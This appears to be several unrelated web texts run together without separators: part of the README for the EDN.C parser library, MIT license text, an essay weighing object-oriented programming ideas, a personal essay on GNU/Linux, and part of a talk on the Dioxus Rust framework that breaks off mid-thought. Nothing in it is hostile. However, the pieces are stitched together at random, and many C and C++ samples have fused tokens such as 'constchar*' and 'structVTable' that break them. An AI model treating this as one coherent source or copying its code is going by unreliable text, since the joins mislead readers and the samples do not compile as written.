More examples:
// Map metadataedn_read("^{:doc \"A function\" :test true} my-fn", 0);
// String tagedn_read("^\"String\" [1 2 3]", 0);
// Expands to: ^{:tag "String"} [1 2 3]// Symbol tagedn_read("^Vector [1 2 3]", 0);
// Expands to: ^{:tag Vector} [1 2 3]// Vector param-tagsedn_read("^[String long _] my-fn", 0);
// Expands to: ^{:param-tags [String long _]} my-fn// Chained metadataedn_read("^:private ^:dynamic ^{:doc \"My var\"} x", 0);
// All metadata merged into one map
Supported value types:
Metadata can only be attached to:
Collections: lists, vectors, maps, sets
Tagged literals
Symbols
Note:
Metadata cannot be attached to scalar values (nil, booleans, numbers, strings, keywords).
API:
// Check if value has metadatabooledn_value_has_meta(constedn_value_t*value);
// Get metadata map (returns NULL if no metadata)edn_value_t*edn_value_meta(constedn_value_t*value);
Build Configuration:
This feature is disabled by default. To enable it:
Make:
CMake:
cmake -DEDN_ENABLE_METADATA=ON ..
make
When disabled (default):
^
is treated as a valid character in identifiers (symbols/keywords)
^test
parses as a symbol named "^test"
Metadata API functions are not available
Note:
Metadata is a Clojure language feature, not part of the official EDN specification. It's provided here for compatibility with Clojure's reader.
See
examples/example_metadata.c
for more details.
Text Blocks
Experimental feature
that adds Java-style multi-line text blocks with automatic indentation stripping to EDN. Requires
EDN_ENABLE_TEXT_BLOCKS
compilation flag (disabled by default).
Text blocks start with three double quotes followed by a newline (
"""\n
) and end with three double quotes (
"""
):
{:query""" SELECT * FROM users WHERE age > 21"""}
Features:
Automatic indentation stripping (common leading whitespace removed)
Closing
"""
position determines base indentation level
Closing on own line adds trailing newline, on same line doesn't
Trailing whitespace automatically removed from each line
Minimal escaping: only
\"""
to include literal triple quotes
Returns standard EDN string (no special type needed)
Example:
#include"edn.h"#include<stdio.h>intmain(void) {
constchar*input="{:sql \"\"\"\n"" SELECT * FROM users\n"" WHERE age > 21\n"" ORDER BY name\n"" \"\"\""}";
edn_result_tresult=edn_read(input, 0);
if (result.error==EDN_OK) {
edn_result_tkey=edn_read(":sql", 0);
edn_value_t*val=edn_map_lookup(result.value, key.value);
// Text block returns a regular string with indentation strippedsize_tlen;
constchar*sql=edn_string_get(val, &len);
printf("%s\n", sql);
// Output:// SELECT * FROM users// WHERE age > 21// ORDER BY nameedn_free(key.value);
edn_free(result.value);
}
return0;
}
Indentation Rules (Java JEP 378)
:
Find minimum indentation across all non-blank lines
Closing
"""
position also determines indentation
Strip that amount from each line
If closing
"""
is on its own line, add trailing
\n
This feature is disabled by default. To enable it:
Make:
CMake:
cmake -DEDN_ENABLE_TEXT_BLOCKS=ON ..
make
When disabled (default):
"""\n
pattern is parsed as a regular string
No automatic indentation processing
Note:
Text blocks are an experimental feature and not part of the official EDN specification.
See
examples/example_text_block.c
for more examples.
Examples
Interactive TUI Viewer
EDN.C includes an interactive terminal viewer for exploring EDN data:
# Build the TUI
make tui
# Explore data interactively
./examples/edn_tui data.edn
# Use arrow keys to navigate, Enter/Space to expand/collapse, q to quit
CLI Tool
EDN.C includes a command-line tool for parsing and pretty-printing EDN files:
# Build the CLI
make cli
# Parse and pretty-print a file
./examples/edn_cli data.edn
# Or from stdinecho'{:name "Alice" :age 30}'| ./examples/edn_cli
More examples available in the
examples/
directory.
Building
Standard Build (Unix/macOS/Linux)
# Build library (libedn.a)
make
# Build and run all tests
make test# Build and run single test
make test/test_numbers
./test/test_numbers
# Build with debug symbols and sanitizers (ASAN/UBSAN)
make DEBUG=1
# Run benchmarks
make bench # Quick benchmark
make bench-all # All benchmarks# Clean build artifacts
make clean
# Show build configuration
make info
Windows Build
EDN.C fully supports Windows with MSVC, MinGW, and Clang. Choose your preferred method:
Quick Start (CMake - Recommended):
# Using the provided build script
.\build.bat# Or with PowerShell
.\build.ps1 -Test
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
OOP-bashing seems fashionable nowadays. I decided to write this article after seeing two OOP-related articles on
Lobsters
in quick succession. I’m not interested in defending or attacking OOP, but I do want to throw in my two cents and offer a more nuanced view.
The industry and the academy have used the term “object-oriented” to mean so many different things. One thing that makes conversations around OOP so unproductive is the lack of consensus on what OOP is.
What is Object-Oriented Programming?
Wikipedia defines it
as “a programming paradigm based on the concept of objects.” This definition is unsatisfactory, as it requires a definition of an “object” and fails to encompass the disparate ways the term is used in the industry. There is also
Alan Kay’s vision of OOP
. However, the way most people use the term has drifted apart, and I don’t want to fall into
essentialism
or
etymological fallacy
by insisting on a “true” meaning.
Instead, I think it is better to treat OOP as a mixed bag of interrelated ideas and examine them individually. Below, I will survey some ideas related to OOP and mention their pros and cons (in my subjective mind).
Classes
Object-oriented programming is a method of implementation in which programs are organized as cooperative collections of objects, each of which represents an instance of some class, and whose classes are all members of a hierarchy of classes united via inheritance relationships. — Grady Booch
Classes extend the idea of a “struct” or “record” with support for the method syntax, information hiding, and inheritance. We will talk about those specific features later.
Classes can also be viewed as blueprints for objects. It is not the only way to do that, and
prototypes
is an alternative pioneered by
Self
and, most famously, used by JavaScript. Personally, I feel that prototypes are harder to wrap one’s head around compared to classes. Even JavaScript tries to hide its usage of prototypes from newcomers with ES6 classes.
Method Syntax
In Japanese, we have sentence chaining, which is similar to method chaining in Ruby —
Yukihiro Matsumoto
The method syntax is one of the less controversial OOP features. It captures common programming use cases involving operations on a specific subject. Even in languages without methods, it is common to see functions effectively serve as methods by taking the relevant data as their first argument (or last, in languages with currying).
The syntax involves method definitions and method calls. Usually, languages supporting methods have both, unless you consider the “pipe operators” in functional languages as a form of method call.
The method call syntax aids IDE autocompletion, and method chaining is often more ergonomic than nested function calls (similar to the pipe operator in functional languages).
There are some debatable aspects of the method syntax, too. First, in many languages, methods are often not definable outside of a class, which causes a power imbalance compared to functions. There are certain exceptions, such as Rust (methods are always defined outside of the struct), Scala, Kotlin, and C# (extension methods).
Second, in many languages,
this
or
self
is implicit. This keeps the code more concise, but it can also introduce confusion and increase the risk of accidental name shadowing. Another drawback of an implicit this is that it is always passed as a pointer, and its type cannot be changed. This means you cannot pass it as a copy, and sometimes this indirection leads to performance issues. More importantly, because the type of this is fixed, you cannot write generic functions that accept different
this
types. Python and Rust got
this
right from the start, and C++ just fixed this issue in C++23 with
deducing this
.
Fourth, the dot notation is used for both instance variable accesses and method calls in most languages. This is an intentional choice to make methods look more
uniform
with objects. In certain dynamically typed languages where
methods are instance variables
, this is fine and pretty much not even a choice. On the other hand, in languages like C++ or Java, this can cause confusion and shadowing problems.
Information Hiding
Its interface or definition was chosen to reveal as little as possible about its inner workings —
[Parnas, 1972b]
In Smalltalk, all instance variables are not directly accessible from outside the object, and all methods are exposed. More modern OOP languages support information hiding via access specifiers like
private
at the class level. Even non-OOP languages usually support information hiding in some way, be it module systems, opaque types, or even C’s header separation.
Information hiding is a good way to prevent
invariant
from being violated. It is also a good way to separate frequently changed implementation details from a stable interface.
Nevertheless, aggressively hiding information may cause unnecessary boilerplate or
abstraction inversion
. Another criticism comes from functional programmers, who argue that you don’t need to maintain invariants and thus don’t need much information hiding if data is
immutable
. And, in a sense, OOP encourages people to write mutable objects that must be maintained as invariants.
Information hiding also encourages people to create small, self-contained objects that “know how to handle themselves,” which leads directly into the topic of encapsulation.
Encapsulation
If you can, just move all of that behavior into the class it helps. After all, OOP is about letting objects take care of themselves. — Bob Nystrom,
Game Programming Patterns
Encapsulation is often confused with information hiding, but the two are distinct. Encapsulation refers to bundling data with the functions that operate on it. OOP languages directly support encapsulation with classes and the method syntax, but there are other approaches (e.g.,
the module system in OCaml
).
Data-oriented design
has a lot to say about bundling data and functionality. When many objects exist, it is often much more efficient to process them in batches rather than individually. Having small objects with distinct behaviors can lead to poor data locality, more indirection, and fewer opportunities for parallelism. Of course, advocates of data-oriented design don’t reject encapsulation outright, but they encourage a more coarse-grained form of it,
organized around how the code is actually used rather than how the domain model is conceptually structured
.
Separation of interface and implementation is an old idea closely related to information hiding, encapsulation, and
abstract data type
. In some sense, even C’s header files can be considered an interface, but OOP usage of “interface” most often refers to a specific set of language constructs that support polymorphism (typically implemented via inheritance). Usually, an interface can’t contain data, and in more restricted languages (e.g., early versions of Java), they can’t contain method implementations either. The same idea of an interface is also common in non-OOP languages: Haskell type classes, Rust traits, and Go interfaces all serve the role of specifying an abstract set of operations independent of implementations.
Interface is often considered a simpler, more disciplined alternative to full-blown class inheritance. It is a single-purpose feature and doesn’t suffer from the same diamond problem that plagues multiple inheritance.
Interface is also extremely useful in combination with
parametric polymorphism
, since it allows you to constrain the operations a type parameter must support. Dynamically-typed languages (and C++/D template) achieve something similar through
duck-typing
, but even languages with duck-typing introduce interface constructs later to express constraints more explicitly (e.g., C++ concepts or TypeScript interfaces).
The interface as implemented in OOP languages often has a runtime cost, but that’s not always the case. For example,
C++ concepts
is an example that only supports compile-time, and Rust’s trait only has opt-in runtime polymorphism support via
dyn
.
Late Binding
OOP to me means only messaging, local retention and protection and hiding of state-process, and extreme late-binding of all things —
Alan Kay
Late binding refers to delaying the lookup of a method or a member until runtime. It is the default of most dynamic-typed languages, where method calls are often implemented as a hash table lookup, but can also be achieved with other means, such as dynamic loading or function pointers.
A key aspect of late binding is that behaviour can be changed while the software is still running, enabling all kinds of hot-reloading and monkey-patching workflows.
The downside of late binding is its non-trivial performance cost. Moreover, it can also be a footgun for breaking invariants or even interface mismatches. Its mutable nature can also introduce subtler issues, for example, the “late binding closures” pitfall in Python.
A concept related to late binding is dynamic dispatch, in which the implementation of a polymorphic operation is selected at runtime. The two concepts overlap, though dynamic dispatch focuses more on selecting multiple known polymorphic operations rather than on name lookup.
In a dynamically typed language, dynamic dispatch is the default since everything is late-bound. In statically typed languages, it is usually implemented as a virtual function table that looks something like this under the hood:
structVTable {
// function pointer to destroy the base
void (*destroy)(Base&);
// function pointer to one method implementation
void (*foo)();
// function pointer to another method implementation
int (*bar)(int);
};
structBaseClass {
VTable* vtable;
};
These languages also provide compile-time guarantees that the vtable contains valid operations for the type.
Dynamic dispatch can be decoupled from inheritance, whether by manually implementing a v-table (e.g., C++‘s “type-erased types” such as
std::function
) or an interface/trait/typeclass kind of constructs. When not paired with inheritance, dynamic dispatch alone is usually not considered “OOP.”
Another thing to note is that the pointer to the v-table can be directly inside the object (e.g., C++) or embedded in “fat pointers” (e.g., Go and Rust).
programming using class hierarchies and virtual functions to allow manipulation of objects of a variety of types through well-defined interfaces and to allow a program to be extended incrementally through derivation —
Bjarne Stroustrup
Inheritance has a long history, way backed to
Simula 67
. It is probably the most iconic feature of OOP. Almost every language marketed as “object-oriented” includes it, while languages that avoid OOP typically omit it.
It can be damn
convenient
. In many cases, using an alternative approach will result in significantly more boilerplate.
On the other hand, inheritance is a very
non-orthogonal
feature. It is a single mechanism that enables dynamic dispatch, subtyping polymorphism, interface/implementation segregation, and code reuse. It is flexible, though that flexibility makes it easy to misuse. For that reason, some languages nowadays replace it with more restrictive alternative constructs.
There are some other problems with inheritance. First, using inheritance almost certainly means you are paying the performance cost of dynamic dispatch and heap allocation. In some languages, such as C++, you can use inheritance without dynamic dispatch and heap allocation, and there are some valid use cases (e.g., code reuse with
CRTP
), but the majority of uses of inheritance are for runtime polymorphism (and thus rely on dynamic dispatch).
Second, inheritance implements subtyping in an unsound way, requiring programmers to manually enforce the
Liskov substitution principle
.
Finally, inheritance hierarchies are rigid. They suffer from issues like the diagonal problem, and that inflexibility is one of the main reasons people prefer composition over inheritance. The
component pattern chapter of Game Programming Patterns
provides a good example.
Subtyping Polymorphism
If for each object
of type
there is another object
of type
such that for all programs
defined in terms of
, the behavior of
is unchanged when
is substituted for
, then
is a subtype of
. — Barbara Liskov, “
Data Abstraction and Hierarchy
”
Subtyping describes an “is a” relation between two types. The
Liskov substitution principle
defines the property that safe subtyping relationships must uphold.
OOP languages often support subtyping via inheritance, but note that inheritance doesn’t always model subtyping, and it is not the only form of subtyping either. Various interface/trait constructs in non-OOP languages often support subtyping. And besides
nominal subtyping
, where one explicitly declares the subtyping relationship, there are also
structural subtyping
, where the subtyping is implicit if one type contains all the features of another type. Good examples of structural subtyping include OCaml (
objects
and polymorphic variants) and TypeScript interfaces. Subtyping also shows in all kinds of little places, such as Rust lifetime and TypeScript’s coercion from a non-nullable type to its nullable counterpart.
A related concept to subtyping is
variance
(not related to class-invariant), which bridges parametric polymorphism and subtyping. I won’t bother explaining variance here, as this topic probably needs an entire blog post to explain well. It is a great ergonomic boost (e.g., C++ pointers will be unusable for polymorphic use if it is not covariant), but most languages only implement a limited, hard-coded version, because it is hard to understand and also error-prone. In particular, mutable data types usually should be invariant, and Java/C#‘s covariant arrays are a primary example on this got wrong. There are a few languages that support programmers explicitly control variance, including
Scala
and
Kotlin
.
Type conversion via subtyping relationships is often implicit. Implicit conversion has a bad reputation. Though doing it with subtyping is ergonomic, and is probably the least surprising kind of implicit conversion. Another way to view subtyping is as the dual of implicit conversions. We can “fake” a subtyping relation with implicit conversion. For example, C++ templated types are invariant, but
std::unique_ptr
achieves covariance with an implicit conversion from
std::unique_ptr<Derived>
to
std::unique_ptr<Base>
.
Does Go Have Subtyping?
is a good article to further explore this idea.
One reason that language designers often try to avoid subtyping is the implementation complexity. Integrating bidirectional type inference and subtyping is notoriously difficult. Stephen Dolan’s 2016 thesis
Algebraic Subtyping
makes good progress addressing this issue.
Message Passing
I thought of objects being like biological cells and/or individual computers on a network, only able to communicate with messages —
Alan Kay
Message passing means using objects that send each other “messages” as a way of execution. It is the centric theme of Alan Kay’s vision of OOP, though the definition can be pretty vague. An important point is that message names are late-bound, and the structures of these messages are not necessarily fixed at compile time.
Many early object-oriented concepts were influenced by distributed and simulation systems, where message passing is natural. However, in the era where most people work on single-threaded code, the message was gradually forgotten in languages such as C++ and Java. The method syntax only has limited benefit compared to the original message-passing idea (Bjarne Stroustrup was definitely aware of the idea from Simula, but there is practical constraint on how to make it fast). There was still some genuine message passing, but only in specific areas such as inter-process communication or highly event-driven systems.
Message passing gains a Renaissance in concurrent programming, ironically through non-OOP languages like Erlang and Golang, with constructs such as actors and channels. This kind of
shared-nothing concurrency
removed a whole range of data race and race condition bugs. In combination with supervision, actors also provide fault tolerance, so that the failure of one actor will not affect the entire program.
Open-recursion
Originating in the famous
Types and Programming Languages
,
open recursion
is probably the least well-known and understood term in this blog post. Nevertheless, it just describes a familiar property of object-oriented systems: methods for an object can call each other, even if they are defined in different classes in the inheritance hierarchy.
The term is somewhat misleading, as there may not be recursive function calls, but here “recursion” means “mutually recursive.” The word “open” refers to “open to extension,” typically empowered by inheritance.
It’s easiest to see with an example:
structAnimal {
voidprint_name() const {
// Note that we call `name` here, although it is not defined in Animal
std::print("{}\n", name());
}
virtualstd::stringname() const=0;
};
structCat: Animal {
std::stringname() constoverride {
return"Kitty";
}
};
intmain() {
Cat cat;
// note we call print_name here, although it is not defined in Cat
cat.print_name();
}
For anyone with some familiarity with OOP, we probably take open recursion for granted, even though we may not be aware of its name. But not all language constructs have this property. For example, in many languages, functions are not mutually recursive by default:
// This won't compile in C++ because `name` is not defined
voidprint_name(constAnimal&animal) {
returnname(animal);
}
std::stringname(constCat&cat) {
return"Kitty";
}
Now, in languages with late-bound functions, functions in the same module can always call each other (e.g., Python, JavaScript). There are other languages where functions are mutually recursive by default (e.g., Rust), or have forward declarations (C) or a
letrec
construct (Scheme and ML family) to make functions mutually recursive. This solves the “recursion” part, but still not the “open” part yet:
std::stringname(constCat&cat);
voidprint_name(constAnimal&animal) {
// This still won't compile because we can't downcast an Animal to a Cat
returnname(animal);
}
std::stringname(constCat&cat) {
return"Kitty";
}
Let’s fix this problem by using a callback:
structAnimal {
std::function<std::string()> get_name;
voidprint_name() const {
std::print("{}\n", get_name());
}
};
Animalmake_cat() {
return Animal {
.get_name = []() { return"Kitty"; },
};
}
intmain() {
Animal cat =make_cat();
cat.print_name();
}
Tada, we just reinvented prototype-style dispatch!
Anyway, with my quick example above, I want to show that open recursion is a property that OOP gives for free, but reproducing it in languages without built-in support can be tricky. Open recursion allows interdependent parts of an object to be defined separately, and this property is used in many instances, for example, the entire idea of
decorator pattern
depends on open recursion.
OOP Best Practices
Perhaps the more common complaints about OOP are not about specific language features, but rather about the programming styles it encourages. Many practices are taught as universal best practices, sometimes with rationales, but their downsides are often omitted. Some examples popped into my mind are
Practice
Advantages
Disadvantage
preferring polymorphism over tagged union/if/switch/pattern matching
Open to extension, easier to add new cases.
Performance hit; Related behaviors get scattered in multiple places; harder to see the whole controll flow in one place
making all data members private
Protect class invariants
More boilerplates; Often unnecessary to hide data without invariants; Getter/setter pairs work less well compared to direct access in languages without property syntax
preferring small “self-managed” objects over central “managers”
Harder to violate invariants, cleaner code organization
Potential bad data locality, missing parallelism opportunities, and duplicated references to common data (“back pointer”)
Prevent new features from breaking the old one. Prevent API break
No reason to “close” a non-public module where you own its usage. Leads to unnecessary complexity and inheritance chain; poorly designed interfaces are not changed; Can cause abstraction inversion
preferring abstraction over concrete implementations
Making more system swappable and testable
Overuse sacrifices readability and debuggability. Performance cost of extra indirection
This blog post is long enough, so I will not go into more details. Feel free to disagree with my “advantages and disadvantages”. What I want to convey is that almost all those practices come with trade-offs.
In the End
Congratulations on making it to the end of this article! There are other topics I’d love to discuss, such as
RAII
and design patterns. However, this article is long enough, so I will leave those for you to explore on your own.
I know, this title might come as a surprise to many. Or perhaps, for those who truly know me, it won’t. I am not a fanboy. The BSDs and the illumos distributions generally follow an approach to design and development that aligns more closely with the way I think, not to mention the wonderful communities around them, but that does not mean I do not use and appreciate other solutions. I usually publish articles about how much I love the BSDs or illumos distributions, but today I want to talk about Linux (or, better, GNU/Linux) and why, despite everything, it still holds a place in my heart. This will be the first in a series of articles where I’ll discuss other operating systems.
Where It All Began
I started right here
, with GNU/Linux, back in 1996. It was my first real prompt after the Commodore 64 and DOS. It was my first step toward Unix systems, and it was love at first shell. I felt a sense of freedom - a freedom that the operating systems I had known up to that point (few, to be honest) had never given me. It was like a “blank sheet” (or rather, a black one) with a prompt on it. I understood immediately that this prompt, thanks to command chaining, pipes, and all the marvels of Unix and Unix-like systems, would allow me to do anything. And that sense of freedom is what makes me love Unix systems to this day.
I was young, but my intuition was correct. And even though I couldn't afford to keep a full Linux installation on that computer long-term due to hardware limitations, I realized that this would be my future. A year later, a new computer arrived, allowing me to use Linux daily, for everything. And successfully, without missing Windows at all (except for a small partition, strictly for gaming).
When I arrived at university, in 1998, I was one of the few who knew it. One of the few who appreciated it. One of the few who hoped to see a flourishing future for it. Everywhere. Widespread. A dream come true. I was a speaker at Linux Days, I actively participated in translation projects, and I wrote articles for Italian magazines. I was a purist regarding the "GNU/Linux" nomenclature because I felt it was wrong to ignore the GNU part - it was fundamental. Because
perhaps the "Year of the Linux Desktop" never arrived
, but Linux is now everywhere. On my desktop, without a doubt. But also on my smartphone (Android) and on those of hundreds of millions of people. Just as it is in my car. And in countless devices surrounding us - even if we don’t know it. And this is the true success. Let’s not focus too much on the complaint that "it’s not compatible with my device X". It is your device that is not compatible with Linux, not the other way around. Just like when, many years ago, people complained that their WinModems (modems that offloaded all processing to obscure, closed-source Windows drivers) didn't work on Linux. For "early adopters" like me, this concept has always been present, even though, fortunately, things have improved exponentially.
Linux was what companies accepted most willingly (not totally, but still...): the ongoing lawsuits against the BSDs hampered their spread, and Linux seemed like that "breath of fresh air" the world needed.
Linux and its distributions (especially those untethered from corporations, like Debian, Gentoo, Arch, etc.) allowed us to replicate expensive "commercial" setups at a fraction of the cost. Reliability was good, updating was simple, and there was a certain consistency. Not as marked as that of the BSDs, but sufficient.
The world was ready to accept it, albeit reluctantly. Linus Torvalds, despite his sometimes harsh and undiplomatic tone, carried forward the kernel development with continuity and coherence, making difficult decisions but always in line with the project. The "move fast and break things" model was almost necessary because there was still so much to build. I also remember the era when Linux - speaking of the kernel - was designed almost exclusively for x86. The other architectures, to simplify, worked thanks to a series of adaptations that brought most behavior back to what was expected for x86.
And the distributions, especially the more "arduous" ones to install, taught me a lot. The distro-hopping of the early 2000s made me truly understand partitioning, the boot procedure (Lilo first, then Grub, etc.), and for this, I must mainly thank Gentoo and Arch (and the FreeBSD handbook - but this is for another article). I learned the importance of backups the hard way, and I keep this lesson well in mind today. My Linux desktops ran mainly with Debian (initially), then Gentoo, Arch, and openSUSE (which, at the time, was still called "SUSE Linux"), Manjaro, etc. My old 486sx 25Mhz with 4MB (yes, MB) of RAM, powered by Debian, allowed me to download emails (mutt and fetchmail), news (inn + suck), program in C, and create shell scripts - at the end of the 90s.
When Linux Conquered the World
Then the first Ubuntu was launched, and many things changed. I don't know if it was thanks to Ubuntu or simply because the time was ripe, but attention shifted to Linux on the desktop as well (albeit mainly on the computers of us enthusiasts), and many companies began to contribute actively to the system or distributions.
I am not against the participation of large companies in Open Source. Their contributions can be valuable for the development of Open Source itself, and if companies make money from it, good for them. If this ultimately leads to a more complete and valid Open Source product, then I welcome it! It is precisely thanks to mass adoption that Linux cleared the path for the acceptance of Open Source at all levels. I still remember when, just after graduating, I was told that Linux (and Open Source systems like the BSDs) were "toys for universities". I dare anyone to say that today!
But this must be done correctly: without spoiling the original idea of the project and without hijacking (voluntarily or not) development toward a different model. Toward a different evolution. The use of Open Source must not become a vehicle for a business model that tends to close, trap, or cage the user. Or harm anyone. And if it is oriented toward worsening the product solely for one's own gain, I can only be against it.
What Changed Along the Way
And this is where, unfortunately, I believe things have changed in the Linux world (if not in the kernel itself, at least in many distributions). Innovation used to be disruptive out of necessity. Today, in many cases, disruption happens without purpose, and stability is often sacrificed for changes that do not solve real problems. Sometimes, in the name of improved security or stability, a new, immature, and unstable product is created - effectively worsening the status quo.
To give an example, I am not against systemd on principle, but I consider it a tool distant from the original Unix principles - do one thing and do it well - full of features and functions that, frankly, I often do not need. I don't want systemd managing my containerization. For restarting stopped services? There are monit and supervisor - efficient, effective, and optional. And, I might add: services shouldn't crash; they should handle problems in a non-destructive way. My Raspberry Pi A+ doesn't need systemd, which occupies a huge amount of RAM (and precious clock cycles) for features that will never be useful or necessary on that platform.
But "move fast and break things" has arrived everywhere, and software is often written by gluing together unstable libraries or those laden with system vulnerabilities. Not to mention so-called "vibe coding" - which might give acceptable results at certain levels, but should not be used when security and confidentiality become primary necessities or, at least, without an understanding of what has been written.
We are losing much of the Unix philosophy, and many Linux distributions are now taking the path of distancing themselves from a concept of cross-compatibility ("if it works on Linux, I don't care about other operating systems"), of minimalism, of "do one thing and do it well". And, in my opinion, we are therefore losing many of the hallmarks that have distinguished its behavior over the years.
In my view, this depends on two factors: a development model linked to a concept of "disposable" electronics, applied even to software, and the pressure from some companies to push development where they want, not where the project should go. Therefore, in certain cases, the GPL becomes a double-edged sword: on one hand, it protects the software and ensures that contributions remain available. On the other, it risks creating a situation where the most "influential" player can totally direct development because - unable to close their product - they have an interest in the entire project going in the direction they have predisposed. In these cases, perhaps, BSD licenses actually protect the software itself more effectively. Because companies can take and use without an obligation to contribute. If they do, it is because they want to, as in the virtuous case of Netflix with FreeBSD. And this, while it may remove (sometimes precious) contributions to the operating system, guarantees that the steering wheel remains firmly in the hands of those in charge - whether foundations, groups, or individuals.
And Why I Still Care
And so yes, despite all this, I (still) love Linux.
Because it was the first Open Source project I truly believed in (and which truly succeeded), because it works, and because the entire world has developed around it. Because it is a platform on which tons of distributions have been built (and some, like Alpine Linux, still maintain that sense of minimalism that I consider correct for an operating system). Because it has distributions like openSUSE (and many others) that work immediately and without problems on my laptop (suspension and hibernation included) and on my miniPC, a fantastic tool I use daily. Because hardware support has improved immensely, and it is now rare to find incompatible hardware.
Because it has been my life companion for 30 years and has contributed significantly to putting food on the table and letting me sleep soundly. Because it allowed me to study without spending insane amounts on licenses or manuals. Because it taught me, first, to think outside the box. To be free.
So thank you, GNU/Linux.
Even if your btrfs, after almost 18 years, still eats data in spectacular fashion. Even if you rename my network interfaces after a reboot. Even though, at times, I get the feeling that you’re slowly turning into what you once wanted to defeat.
Even if you are not my first choice for many workloads, I foresee spending a lot of time with you for at least the next 30 years.
To cover any upcoming legal fees just in case Nintendo doesn’t buy that
origin story, Dioxus is, as of the summer of 2023, a YCombinator startup.
Regulars might be wondering at this point, what does any of that have to do with
Rust? Well, don’t worry, I have gone and checked for you: Dioxus
is
, in fact,
getting money from Huawei, which makes it a Rust project just like any other.
Please find on this diagram, in red, every Rust project funded by Huawei,
or any other kind of -wei.
Dioxus is the promise of having a single code base for your mobile apps and web
apps and desktop apps. It makes me think of React Native or PhoneGap. If you’ve
heard of
PhoneGap
, remember to stretch. It’s very important at our ages.
Dioxus “fullstack” goes one step further, with a single code base for the client
and for the server. But what does that mean? How did we get here? Let’s go back
in time for a minute or twelve.
There’s been plenty of different paradigms when it comes to web apps, and I
won’t cover them all.
In short, in the first generation, “generating HTML” is the job of the server. You
are allowed to sprinkle some JavaScript (or, god forbid, Visual Basic Script) to
make some stuff move, but that’s as far as it goes.
Note that I’m saying “render” in that diagram for “generating HTML”, with my
apologies to people who work on
Servo
and
Skia
and whatnot. I’m just reusing the React nomenclature,
sowwy.
In the second generation of web apps, the world has now written a critical mass
of JavaScript. We’re starting to have something that resembles DevTools. If you
remember
Firebug
, that was among the first. And maybe you should work on a will
or something like that.
We’re starting to get comfortable with the idea of a real application living
inside of the web browser, which renders HTML based on structured data coming
from the server. And then follows a decade of developers using something called
“XMLHttpRequest” to send JSON around. Oh well.
We’re starting to have web apps that work offline. However, the initial loading
experience is bad. Visitors have to wait for the entire app to load,
then they wait for the app to do its API calls, and then for the app to render the
HTML, which can take a long time: planet earth is starting to develop a
collective distaste for the spinner.
And that’s not the only problem we’ll have to address for SPAs (single-page
apps). We’ll have accessibility, navigation history, search engine optimization,
and of course, data loading. If every component on a page does its own API
request to get some data and then render, that’s a lot of requests per page.
Especially if you looked at React the wrong way and your component is doing API
calls in an infinite loop, then it’s a lot, a lot, a lot of API calls. And yes,
that is actually what took Cloudflare down
recently.
So boom, third generation, full stack, best of both worlds. We do the render on
the server like before, and we stream it to the client, which can display it as
it’s being received. But alongside that rendered HTML, the server also sends the
structured data that it used to render the HTML.
Here’s a practical example. It’s a counter written in Dioxus:
#
[
component
]
fn
Counter
(
)
->
Element
{
let
mut
x =
use_signal
(
||
0_u64
)
;
let
inc =
move
|_| x +=
1
;
let
dec =
move
|_| x -=
1
;
rsx
!
{
"{x}"
button
{
onclick
:
inc
,
"+"
}
button
{
onclick
:
dec
,
"-"
}
}
}
When we do the server-side rendering, we just say, okay, there is a variable x
that starts at zero. It’s used in the macro RSX, and then there’s two buttons.
The two buttons do something if you click on them, but can we do something about
it on the server side? No, those event handlers have to be registered on the
client side. All we can do is send hints.
There’s no
onclick
attribute on the button tags directly. There’s only
information that references the structured data (that I’m not showing you here to
avoid a wall of text).
So the client has the same data the server had. It’s doing the same render as
the server did and then it creates a mapping between what the server sent and
what the client rendered. Then it takes over the document, installing event
handlers, making everything interactive, a process we call hydration.
Now the whole point of having the server stream markup is that we can show it
early before the app is even loaded on the client. But what happens if we click
on a button in the middle of the hydration process?
In theory, the server markup could include actual links or forms that would
trigger regular browser actions. But in practice, it’s been a while since I’ve
seen anybody bother doing that.
Now, what happens if during hydration the client render doesn’t match the server
render? Then it can’t create a mapping and everything’s broken. I think the best
case you can do here is just replace everything with the version that the client
rendered, which is still pretty bad as everything would jump around.
And now what if we need data that takes some time to fetch? For example, we’re
fetching from a database or an API. That’s a family of problems that the
industry has been trying to solve for years. And Dioxus offers several solutions
in the form of hooks:
try_use_context
use_after_suspense_resolved
use_callback
use_context
use_context_provider
use_coroutine
use_coroutine_handle
use_effect
use_future
use_hook
use_hook_did_run
use_hook_with_cleanup
use_route
use_router
use_navigator
use_memo
use_memo
use_on_unmount
use_reactive
use_resource
use_root_context
use_set_compare
use_set_compare_equal
use_signal
use_signal_sync
use_reactive!
use_server_future
use_server_cached
use_drop
use_before_render
use_after_render
So there’s a little something for everyone. There’s synchronous hooks. There’s
asynchronous hooks. There’s reactive hooks. There’s hooks that cache the
results. There are hooks that only run on the server side or only on the client
side.
It’s a little bit intimidating, to be honest. We’re far from the “if it compiles
it works” that I got used to, in Rust?
If you break the rules of hooks, you don’t get a build error or even a runtime
error. You just get a weird behavior, which can be hard to debug.
But there’s kind of a good reason for that.
It’s that full stack stuff is complicated. It truly is. It’s not that Dioxus
added complexity where we didn’t need any. It’s that this is a problem that’s
inherently complex.
But as I dug deeper, I realized that most of my complaints were really just
misunderstandings, or already in the process of being fixed in the main branch,
or simply limitations of the current WebAssembly/Rust ecosystem.
I was going to start with praising the developer experience of Dioxus with their
dx
tool, which wraps cargo and takes care of compiling WebAssembly.
I was going to praise the loading screen you see in the browser while it’s
compiling everything…
But then I was going to complain about the fact that if there’s a panic in the
app, it just becomes unresponsive! There is nothing that shows you that
something went wrong and the entire app is broken!
Well, in the main branch, there is! Of course they added it! It makes sense, and
they are smart people using their own stuff.
Next, I was going to complain that the stack traces are completely useless
because all we see are function names with numbers and hexadecimal offsets into
a big WASM file.
